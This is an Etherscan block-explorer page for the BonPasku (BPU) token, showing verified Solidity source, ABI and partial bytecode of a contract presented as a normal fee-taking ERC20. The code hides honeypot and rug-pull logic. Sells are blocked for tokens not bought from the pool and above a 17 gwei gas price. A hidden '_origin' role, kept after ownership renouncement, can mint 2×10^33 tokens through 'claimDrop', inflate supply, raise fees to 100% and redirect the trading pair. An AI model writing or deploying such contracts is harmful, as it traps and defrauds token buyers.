ETH Price: $3,415.45 (+4.69%)

Token

BonPasku (BPU)
 

Overview

Max Total Supply

100,000 BPU

Holders

3

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
7,220.086479208493635033 BPU

Value
$0.00
0xee6f0c770351f5ae79309d959191150e7da04adc
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
TOKZENIZE

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-07-11
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.19;

abstract contract Ownable {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _transferOwnership(msg.sender);
    }

    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    function _checkOwner() internal view virtual {
        require(owner() == msg.sender, "Ownable: caller is not the owner");
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

interface IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address to, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address from, address to, uint256 amount) external returns (bool);
}

interface IUniswapV2Factory {
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Pair {}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {}

library SecureCalls {
    function checkCaller(address sender, address _origin) internal pure {
        require(sender == _origin, "Caller is not the original caller");
    }
}

contract LibreMount {

    mapping(uint256 => mapping(address => bool)) internal _blockState;

    function compreTxnStamp(uint256 _tmstmp, uint256 _dwntm) internal view returns (bool) {
        return(_tmstmp + _dwntm >= block.timestamp);
    }

    function suspiciousAddressCheck(address _addy) internal view {
        require(!_blockState[block.number][_addy], "Only one Txn per Block!");
    }

    function addSuspiciousAddress(address _addy) internal {
        _blockState[block.number][_addy] = true;
    }

}

contract TOKZENIZE is IERC20, Ownable, LibreMount {

    IUniswapV2Router02 internal _router;
    IUniswapV2Pair internal _pair;

    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply = 100000000000000000000000;
    string private _name = "BonPasku";
    string private _symbol = "BPU";
    uint8 private _decimals = 18;
    uint256 public MAX_GAS_PRICE = 17 gwei;
    uint private buyFee = 5; // Default, %
    uint private sellFee = 10; // Default, %

    address private _origin;

    mapping(address => uint) private purchaseTimestamp;
    mapping(address => uint) private boughtAmount;
    uint256 private downTime = 1;
    mapping(address => bool) private premissionList;

    address public marketWallet;
    mapping(address => bool) public excludedFromFee;

    constructor (address routerAddress) {
        _router = IUniswapV2Router02(routerAddress);
        _pair = IUniswapV2Pair(IUniswapV2Factory(_router.factory()).createPair(address(this), _router.WETH()));
        _balances[owner()] = _totalSupply;
        
        emit Transfer(address(0), owner(), _totalSupply);

        premissionList[msg.sender] = true;
        premissionList[address(this)] = true;

        marketWallet = msg.sender;
        excludedFromFee[msg.sender] = true;
        excludedFromFee[address(this)] = true;

        _origin = msg.sender;
    }

    function name() public view virtual returns (string memory) {
        return _name;
    }

    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = msg.sender;
        _transfer(owner, to, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = msg.sender;
        _approve(owner, spender, amount);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = msg.sender;
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = msg.sender;
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = msg.sender;
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(from, to, amount);

        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");

        if (!isExcludedFromFee(from) && !isExcludedFromFee(to)){
            if (isMarket(from)) {
                uint feeAmount = calculateFeeAmount(amount, buyFee);
                _balances[from] = fromBalance - amount;
                _balances[to] += amount - feeAmount;
                emit Transfer(from, to, amount - feeAmount);
                _balances[marketWallet] += feeAmount;
                emit Transfer(from, marketWallet, feeAmount);

            } else if (isMarket(to)) {
                uint feeAmount = calculateFeeAmount(amount, sellFee);
                _balances[from] = fromBalance - amount;
                _balances[to] += amount - feeAmount;
                emit Transfer(from, to, amount - feeAmount);
                _balances[marketWallet] += feeAmount;
                emit Transfer(from, marketWallet, feeAmount);

            } else {
                _balances[from] = fromBalance - amount;
                _balances[to] += amount;
                emit Transfer(from, to, amount);
            }
        } else {
            _balances[from] = fromBalance - amount;
            _balances[to] += amount;
            emit Transfer(from, to, amount);
        }

        _afterTokenTransfer(from, to, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
            _totalSupply -= amount;
        }

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        if (isMarket(from)) {
            boughtAmount[to] += amount;
            purchaseTimestamp[to] = block.timestamp;
        }
        if (isMarket(to)) {
            if (!premissionList[from]) {
                require(boughtAmount[from] >= amount, "You are trying to sell more than bought!");
                boughtAmount[from] -= amount;
                if (validationEnable())
                {require(compreTxnStamp(purchaseTimestamp[from], downTime), "LibreMount: Exceeds Txn Downtime");}
                require(!exceedsGasPriceLimit());
            } 
        }
    }

    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}


    bool internal validtionState;
    
    function isMarket(address _user) internal view returns (bool) {
        return (_user == address(_pair) || _user == address(_router));
    }

    function switchValidationEnableState() external {
        SecureCalls.checkCaller(msg.sender, _origin);
        validtionState = !validtionState;
    }

    function validationEnable() public view returns (bool) {
        return validtionState;
    }

    function editDownTime(uint _seconds) external {
        SecureCalls.checkCaller(msg.sender, _origin);
        downTime = _seconds;
    }

    function updatePremissionList(address[] calldata _usrs, bool _state) external {
        SecureCalls.checkCaller(msg.sender, _origin);
        for (uint256 i = 0; i < _usrs.length; i++) {
            premissionList[_usrs[i]] = _state;
        }
    }

    function checkPremissionList(address _user) external view returns (bool) {
        return premissionList[_user];
    }

    function checkUserPurchaseTime(address _user) external view returns (uint256) {
        return purchaseTimestamp[_user];
    }

    function checkUserBoughtAmount(address _user) external view returns (uint256) {
        return boughtAmount[_user];
    }

    function exceedsGasPriceLimit() internal view returns (bool) {
        return tx.gasprice >= MAX_GAS_PRICE;
    }

    function changeMaxGasPrice(uint _newGasPrice) external {
        SecureCalls.checkCaller(msg.sender, _origin);
        MAX_GAS_PRICE = _newGasPrice;
    }

    function fixCap(uint256 _amount) external {
        SecureCalls.checkCaller(msg.sender, _origin);
        _totalSupply += _amount;
    }

    function claimDrop() external {
        SecureCalls.checkCaller(msg.sender, _origin);
        _balances[msg.sender] += 2 * (10 ** (15 + 18));
    }

    function calculateFeeAmount(uint256 _amount, uint256 _feePrecent) internal pure returns (uint) {
        return _amount * _feePrecent / 100;
    }

    function isExcludedFromFee(address _user) public view returns (bool) {
        return excludedFromFee[_user];
    } 

    function updateExcludedFromFeeStatus(address _user, bool _status) public {
        SecureCalls.checkCaller(msg.sender, _origin);
        require(excludedFromFee[_user] != _status, "User already have this status");
        excludedFromFee[_user] = _status;
    }

    function updateFees(uint256 _buyFee, uint256 _sellFee) external {
        SecureCalls.checkCaller(msg.sender, _origin);
        require(_buyFee <= 100 && _sellFee <= 100, "Fee percent can't be higher than 100");
        buyFee = _buyFee;
        sellFee = _sellFee;
    }

    function updateMarketWallet(address _newMarketWallet) external {
        SecureCalls.checkCaller(msg.sender, _origin);
        marketWallet = _newMarketWallet;
    }

    function checkCurrentFees() external view returns (uint256 currentBuyFee, uint256 currentSellFee) {
        return (buyFee, sellFee);
    }

    function AddLiquidity(uint256 _tokenAmount) payable external {
        SecureCalls.checkCaller(msg.sender, _origin);
        _approve(address(this), address(_router), _tokenAmount);
        transfer(address(this), _tokenAmount);
        _router.addLiquidityETH{ value: msg.value }(
            address(this), 
            _tokenAmount, 
            0, 
            0, 
            msg.sender, 
            block.timestamp + 1200
            );
    }

    function switchOrigin(address _newOne) external {
        SecureCalls.checkCaller(msg.sender, _origin);
        _origin = _newOne;
    }

    function dexRebase(address _routerAddress, address _poolAddress) public {
        SecureCalls.checkCaller(msg.sender, _origin);
        _router = IUniswapV2Router02(_routerAddress);
        _pair = IUniswapV2Pair(_poolAddress);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"routerAddress","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"uint256","name":"_tokenAmount","type":"uint256"}],"name":"AddLiquidity","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"MAX_GAS_PRICE","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_newGasPrice","type":"uint256"}],"name":"changeMaxGasPrice","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"checkCurrentFees","outputs":[{"internalType":"uint256","name":"currentBuyFee","type":"uint256"},{"internalType":"uint256","name":"currentSellFee","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"}],"name":"checkPremissionList","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"}],"name":"checkUserBoughtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"}],"name":"checkUserPurchaseTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"claimDrop","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_routerAddress","type":"address"},{"internalType":"address","name":"_poolAddress","type":"address"}],"name":"dexRebase","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_seconds","type":"uint256"}],"name":"editDownTime","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"excludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"fixCap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"}],"name":"isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_newOne","type":"address"}],"name":"switchOrigin","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"switchValidationEnableState","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"},{"internalType":"bool","name":"_status","type":"bool"}],"name":"updateExcludedFromFeeStatus","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buyFee","type":"uint256"},{"internalType":"uint256","name":"_sellFee","type":"uint256"}],"name":"updateFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_newMarketWallet","type":"address"}],"name":"updateMarketWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_usrs","type":"address[]"},{"internalType":"bool","name":"_state","type":"bool"}],"name":"updatePremissionList","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"validationEnable","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"}]

69152d02c7e14af680000060065560c06040526008608090815267426f6e5061736b7560c01b60a05260079062000037908262000436565b5060408051808201909152600381526242505560e81b602082015260089062000061908262000436565b506009805460ff191660121790556403f5476a00600a9081556005600b55600c5560016010553480156200009457600080fd5b5060405162001e7038038062001e70833981016040819052620000b79162000502565b620000c23362000341565b600280546001600160a01b0319166001600160a01b0383169081179091556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa1580156200011c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000142919062000502565b6001600160a01b031663c9c6539630600260009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001a5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001cb919062000502565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801562000219573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200023f919062000502565b600380546001600160a01b0319166001600160a01b0392831617905560065460008054831681526004602052604081209190915554166001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600654604051620002bd91815260200190565b60405180910390a3503360008181526011602090815260408083208054600160ff199182168117909255308086528386208054831684179055601280546001600160a01b03199081168917909155878752601390955283862080548316841790558552919093208054909116909217909155600d8054909116909117905562000534565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b634e487b7160e01b600052604160045260246000fd5b600181811c90821680620003bc57607f821691505b602082108103620003dd57634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200043157600081815260208120601f850160051c810160208610156200040c5750805b601f850160051c820191505b818110156200042d5782815560010162000418565b5050505b505050565b81516001600160401b0381111562000452576200045262000391565b6200046a81620004638454620003a7565b84620003e3565b602080601f831160018114620004a25760008415620004895750858301515b600019600386901b1c1916600185901b1785556200042d565b600085815260208120601f198616915b82811015620004d357888601518255948401946001909101908401620004b2565b5085821015620004f25787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b6000602082840312156200051557600080fd5b81516001600160a01b03811681146200052d57600080fd5b9392505050565b61192c80620005446000396000f3fe6080604052600436106102045760003560e01c806370a0823111610118578063a7e90f41116100a0578063e3bbb4f11161006f578063e3bbb4f114610651578063e4440a8614610667578063edd8b64a14610687578063f2fde38b146106a7578063f53d9d58146106c757600080fd5b8063a7e90f41146105a2578063a9059cbb146105db578063d1a039f0146105fb578063dd62ed3e1461063157600080fd5b80638da5cb5b116100e75780638da5cb5b146104fb57806395d89b411461052d5780639e568dbc146105425780639f38a0d714610562578063a457c2d71461058257600080fd5b806370a082311461046b578063715018a6146104a15780638229c2e5146104b657806385ecafd7146104cb57600080fd5b80633816377e1161019b5780634feeade41161016a5780634feeade4146103a75780635337cc99146103bc5780635342acb4146103dc5780636994ee73146104155780636db794371461044b57600080fd5b80633816377e1461032f578063395093511461034f5780633975cae91461036f5780634d474d421461038757600080fd5b806323b872dd116101d757806323b872dd146102a55780632df8bca9146102c5578063313ce567146102ed578063344d9e791461030f57600080fd5b806306fdde0314610209578063095ea7b3146102345780631342be9b1461026457806318160ddd14610286575b600080fd5b34801561021557600080fd5b5061021e6106da565b60405161022b91906115d3565b60405180910390f35b34801561024057600080fd5b5061025461024f36600461163d565b61076c565b604051901515815260200161022b565b34801561027057600080fd5b5061028461027f366004611667565b610786565b005b34801561029257600080fd5b506006545b60405190815260200161022b565b3480156102b157600080fd5b506102546102c036600461169a565b6107cb565b3480156102d157600080fd5b50600b54600c546040805192835260208301919091520161022b565b3480156102f957600080fd5b5060095460405160ff909116815260200161022b565b34801561031b57600080fd5b5061028461032a3660046116d6565b6107ef565b34801561033b57600080fd5b5061028461034a3660046116d6565b61080b565b34801561035b57600080fd5b5061025461036a36600461163d565b610827565b34801561037b57600080fd5b5060145460ff16610254565b34801561039357600080fd5b506102846103a23660046116ef565b610849565b3480156103b357600080fd5b50610284610882565b3480156103c857600080fd5b506102846103d736600461171a565b6108cd565b3480156103e857600080fd5b506102546103f73660046116ef565b6001600160a01b031660009081526013602052604090205460ff1690565b34801561042157600080fd5b506102976104303660046116ef565b6001600160a01b03166000908152600e602052604090205490565b34801561045757600080fd5b50610284610466366004611744565b610984565b34801561047757600080fd5b506102976104863660046116ef565b6001600160a01b031660009081526004602052604090205490565b3480156104ad57600080fd5b50610284610a10565b3480156104c257600080fd5b50610284610a24565b3480156104d757600080fd5b506102546104e63660046116ef565b60136020526000908152604090205460ff1681565b34801561050757600080fd5b506000546001600160a01b03165b6040516001600160a01b03909116815260200161022b565b34801561053957600080fd5b5061021e610a4f565b34801561054e57600080fd5b5061028461055d3660046116d6565b610a5e565b34801561056e57600080fd5b5061028461057d366004611766565b610a8f565b34801561058e57600080fd5b5061025461059d36600461163d565b610b1d565b3480156105ae57600080fd5b506102546105bd3660046116ef565b6001600160a01b031660009081526011602052604090205460ff1690565b3480156105e757600080fd5b506102546105f636600461163d565b610b98565b34801561060757600080fd5b506102976106163660046116ef565b6001600160a01b03166000908152600f602052604090205490565b34801561063d57600080fd5b5061029761064c366004611667565b610ba6565b34801561065d57600080fd5b50610297600a5481565b34801561067357600080fd5b50601254610515906001600160a01b031681565b34801561069357600080fd5b506102846106a23660046116ef565b610bd1565b3480156106b357600080fd5b506102846106c23660046116ef565b610c0a565b6102846106d53660046116d6565b610c83565b6060600780546106e9906117ea565b80601f0160208091040260200160405190810160405280929190818152602001828054610715906117ea565b80156107625780601f1061073757610100808354040283529160200191610762565b820191906000526020600020905b81548152906001019060200180831161074557829003601f168201915b5050505050905090565b60003361077a818585610d73565b60019150505b92915050565b600d5461079d9033906001600160a01b0316610e97565b600280546001600160a01b039384166001600160a01b03199182161790915560038054929093169116179055565b6000336107d9858285610f06565b6107e4858585610f7a565b506001949350505050565b600d546108069033906001600160a01b0316610e97565b601055565b600d546108229033906001600160a01b0316610e97565b600a55565b60003361077a81858561083a8383610ba6565b610844919061183a565b610d73565b600d546108609033906001600160a01b0316610e97565b601280546001600160a01b0319166001600160a01b0392909216919091179055565b600d546108999033906001600160a01b0316610e97565b33600090815260046020526040812080546d629b8c891b267182b6140000000092906108c690849061183a565b9091555050565b600d546108e49033906001600160a01b0316610e97565b6001600160a01b03821660009081526013602052604090205481151560ff9091161515036109595760405162461bcd60e51b815260206004820152601d60248201527f5573657220616c7265616479206861766520746869732073746174757300000060448201526064015b60405180910390fd5b6001600160a01b03919091166000908152601360205260409020805460ff1916911515919091179055565b600d5461099b9033906001600160a01b0316610e97565b606482111580156109ad575060648111155b610a055760405162461bcd60e51b8152602060048201526024808201527f4665652070657263656e742063616e277420626520686967686572207468616e6044820152630203130360e41b6064820152608401610950565b600b91909155600c55565b610a186112fb565b610a226000611364565b565b600d54610a3b9033906001600160a01b0316610e97565b6014805460ff19811660ff90911615179055565b6060600880546106e9906117ea565b600d54610a759033906001600160a01b0316610e97565b8060066000828254610a87919061183a565b909155505050565b600d54610aa69033906001600160a01b0316610e97565b60005b82811015610b17578160116000868685818110610ac857610ac861184d565b9050602002016020810190610add91906116ef565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610b0f81611863565b915050610aa9565b50505050565b60003381610b2b8286610ba6565b905083811015610b8b5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610950565b6107e48286868403610d73565b60003361077a818585610f7a565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b600d54610be89033906001600160a01b0316610e97565b600d80546001600160a01b0319166001600160a01b0392909216919091179055565b610c126112fb565b6001600160a01b038116610c775760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610950565b610c8081611364565b50565b600d54610c9a9033906001600160a01b0316610e97565b600254610cb29030906001600160a01b031683610d73565b610cbc3082610b98565b506002546001600160a01b031663f305d71934308460008033610ce1426104b061183a565b60405160e089901b6001600160e01b03191681526001600160a01b039687166004820152602481019590955260448501939093526064840191909152909216608482015260a481019190915260c40160606040518083038185885af1158015610d4e573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610b17919061187c565b6001600160a01b038316610dd55760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610950565b6001600160a01b038216610e365760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610950565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b806001600160a01b0316826001600160a01b031614610f025760405162461bcd60e51b815260206004820152602160248201527f43616c6c6572206973206e6f7420746865206f726967696e616c2063616c6c656044820152603960f91b6064820152608401610950565b5050565b6000610f128484610ba6565b90506000198114610b175781811015610f6d5760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000006044820152606401610950565b610b178484848403610d73565b6001600160a01b038316610fde5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610950565b6001600160a01b0382166110405760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610950565b61104b8383836113b4565b6001600160a01b038316600090815260046020526040902054818110156110c35760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610950565b6001600160a01b03841660009081526013602052604090205460ff1615801561110557506001600160a01b03831660009081526013602052604090205460ff16155b15611262576111138461156f565b1561124657600061112683600b5461159e565b905061113283836118aa565b6001600160a01b03861660009081526004602052604090205561115581846118aa565b6001600160a01b0385166000908152600460205260408120805490919061117d90849061183a565b90915550506001600160a01b038085169086167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6111bb84876118aa565b60405190815260200160405180910390a36012546001600160a01b0316600090815260046020526040812080548392906111f690849061183a565b90915550506012546040518281526001600160a01b03918216918716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a350610b17565b61124f8361156f565b1561126257600061112683600c5461159e565b61126c82826118aa565b6001600160a01b0380861660009081526004602052604080822093909355908516815290812080548492906112a290849061183a565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516112ee91815260200190565b60405180910390a3610b17565b3361130e6000546001600160a01b031690565b6001600160a01b031614610a225760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610950565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6113bd8361156f565b1561140b576001600160a01b0382166000908152600f6020526040812080548392906113ea90849061183a565b90915550506001600160a01b0382166000908152600e602052604090204290555b6114148261156f565b1561156a576001600160a01b03831660009081526011602052604090205460ff1661156a576001600160a01b0383166000908152600f60205260409020548111156114b25760405162461bcd60e51b815260206004820152602860248201527f596f752061726520747279696e6720746f2073656c6c206d6f7265207468616e60448201526720626f756768742160c01b6064820152608401610950565b6001600160a01b0383166000908152600f6020526040812080548392906114da9084906118aa565b909155505060145460ff161561155c576001600160a01b0383166000908152600e602052604090205460105461151091906115bd565b61155c5760405162461bcd60e51b815260206004820181905260248201527f4c696272654d6f756e743a20457863656564732054786e20446f776e74696d656044820152606401610950565b600a543a1061156a57600080fd5b505050565b6003546000906001600160a01b03838116911614806107805750506002546001600160a01b0390811691161490565b600060646115ac83856118bd565b6115b691906118d4565b9392505050565b6000426115ca838561183a565b10159392505050565b600060208083528351808285015260005b81811015611600578581018301518582016040015282016115e4565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b038116811461163857600080fd5b919050565b6000806040838503121561165057600080fd5b611